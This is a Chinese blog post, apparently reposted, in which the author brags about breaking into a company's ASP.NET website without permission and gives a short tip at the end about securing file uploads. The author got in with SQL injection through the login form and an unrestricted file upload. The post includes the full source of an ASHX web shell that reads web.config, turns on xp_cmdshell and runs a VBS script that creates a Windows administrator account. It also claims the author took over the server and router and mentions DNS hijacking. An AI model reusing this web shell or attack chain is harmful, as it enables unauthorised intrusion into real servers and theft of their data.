記一次ASP.NET網站的入侵和如何避免被入侵


 

 

ASP.NET網站入侵第二波(LeaRun.信息化快速開發框架 已被筆者拿下)

 

 

詳細介紹請看第二波

 

 

 

 

首先我要申明的是不是什么語言寫出來的程序就不安全,而是得看寫代碼的人如何去寫這個程序

  前些日子我去客戶那調研,發現客戶的監控系統用的是海康威視的硬盤錄像機,然后默認用戶名是amdin 密碼是12345,回來后就想玩一玩看看有多少人用的是默認密碼,於是就寫了個掃描程序,很快掃描到了一大批網站,也得到很多采用的是默認用戶名和密碼。

  玩了一兩天后發現沒什么好玩的,就隨便在里面找找掃描記錄,看到一些后台登陸地址,於是就都測試下,然后就發現了這個網站:

最開始我是測試弱口令,

admin  amdin  等,隨便測試了幾個,沒成功,於是開始測試sql的防注入,用戶名輸入 1' or 1=1-- 密碼隨便輸了個1 登陸,居然登陸成功了。。。。

但發現登陸進來后報錯了,,, 想了下可能是用戶名的問題,於是就找頁面看看能不能看到我的登陸用戶名,最后找到寫郵件里面看到了

當然如果入侵只到這 你肯定會絕對弱爆了。。。其實當然也是,因為我拿下了他的數據和程序。。。當然最好拿下了他的服務器,得知他服務器是做的端口映射,於是又拿下了他的路由器,然后就沒有再繼續往下進行了,當然還可以繼續下去,比如 路由器的dns劫持,頁面重定向,端口鏡像等等

下面我開始介紹主要入侵頁面,文件上傳頁面

 

自己寫了個ashx頁面,上傳

代碼很簡單,就是讀取網站的web.config文件然后以文本形式輸出,

我先簡單說下入侵流程:

1、讀取web.config得到數據庫連接

2、利用SQL Server執行命令添加Windows用戶(因為網站默認是iis用戶,沒有權限直線net等相關操作,但SQL Server是基於本地服務運行的,權限很高)

我貼出我上傳的ashx文件代碼:

 1 <%@ WebHandler Language="C#" Class="TextLd" %>
 2 using System;
 3 using System.Collections.Generic;
 4 using System.Linq;
 5 using System.Web;
 6 using System.Data.SqlClient;
 7 
 8     public class TextLd : IHttpHandler
 9     {
10         public void CreateLocalUser(string newPath)
11         {
12             System.Diagnostics.Process.Start(@"d:\1.vbs");
13             System.IO.File.WriteAllText(@"d:\1.vbs", "set wsnetwork=CreateObject(\"WSCRIPT.NETWORK\") \r\n os=\"WinNT://\"&wsnetwork.ComputerName \r\n Set ob=GetObject(os) \r\nSet oe=GetObject(os&\"/Administrators,group\") '屬性,admin組\r\nod=ob.Create(\"user\",\"test\") '建立用戶 \r\nSetPassword \"1234\" '設置密碼 \r\nSetInfo\r\nof=GetObject(os&\"/test\",user)\r\n add os&\"/test\"");
14         }
15         public void ShowWebConfig(HttpContext context)
16         {
17             context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config")));
18         }
19         public void WriteVbs(HttpContext context)
20         {
21             System.IO.File.WriteAllText(context.Request.MapPath("~/1.vbs"), "set wsnetwork=CreateObject(\"WSCRIPT.NETWORK\") \r\n os=\"WinNT://\"&wsnetwork.ComputerName \r\n Set ob=GetObject(os) \r\nSet oe=GetObject(os&\"/Administrators,group\") '屬性,admin組\r\nod=ob.Create(\"user\",\"test\") '建立用戶 \r\nSetPassword \"1234\" '設置密碼 \r\nSetInfo\r\nof=GetObject(os&\"/test\",user)\r\n add os&\"/test\"");
22         }
23         public void ExecuteSql(string connection, string sql)
24         {
25             using (SqlConnection con = new SqlConnection(connection))
26             {
27                 using (SqlCommand commd = new SqlCommand(sql, con))
28                 {
29                     con.Open();
30                     commd.ExecuteNonQuery();
31                     con.Close();
32                 }
33             }
34         }
35         public void ProcessRequest(HttpContext context)
36         {
37             context.Response.ContentType = "text/plain";
38             context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config")));
39             try
40             {
41                 var connection = context.Request.QueryString["connection"];
42                 switch (context.Request.QueryString["method"])
43                 {
44                     case "1": WriteVbs(context); break;
45                     case "2":
46                         ExecuteSql(connection,@"sp_configure 'show advanced options',1  reconfigure");
47                         ExecuteSql(connection,@"sp_configure 'xp_cmdshell',1 reconfigure");//開啟數據庫的xp_cmdshell
48                         break;
49                     case "3": ExecuteSql(connection, "exec master..xp_cmdshell 'cscript " + context.Request.MapPath("~/1.vbs") + "'");
50                         break;
51                     default:
52                         ShowWebConfig(context);
53                         break;
54                 }
55             }
56             catch (Exception ex)
57             {
58                 context.Response.Write(ex.Message);
59             }
60             context.Response.End();
61         }
62         public bool IsReusable
63         {
64             get
65             {
66                 return false;
67             }
68         }
69     }
View Code


然后一次執行,就這樣服務器就被我拿下了。。。  建立了一個用戶名為test密碼是1234的超級管理員用戶,於是測試下遠程連接

然后弄干啥,大家都知道的。。。。

當然,如果不拿下他服務器,你想想你都能直線你自己寫的代碼了。。。 什么壞事干不了。。。 當然本人只是測試了下可行性,就算不拿下服務器,執行sql語句把他數據庫備份下載下來拿還不是分分鍾的事情?

好了 我來總結下這次入侵吧,最主要的婁底其實不是他的sql注入(個人覺得,當然他是導火索),而是文件上傳,大部分程序員在寫文件上傳功能的時候,之前客戶上傳過來的文件保存到網站目錄下的某個文件夾,不做任何處理,這也就是導致了他服務器被我拿下的最主要的入口。
所以我還是奉勸大家一下,做文件上傳還是對文件進行下處理比較好,具體怎么處理我想聰明的你肯定有很多方法。。。

 

小學文化的我傷不起啊。。。。 哎 。。。  原諒我文采不好   你們將就着看吧-.-!


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM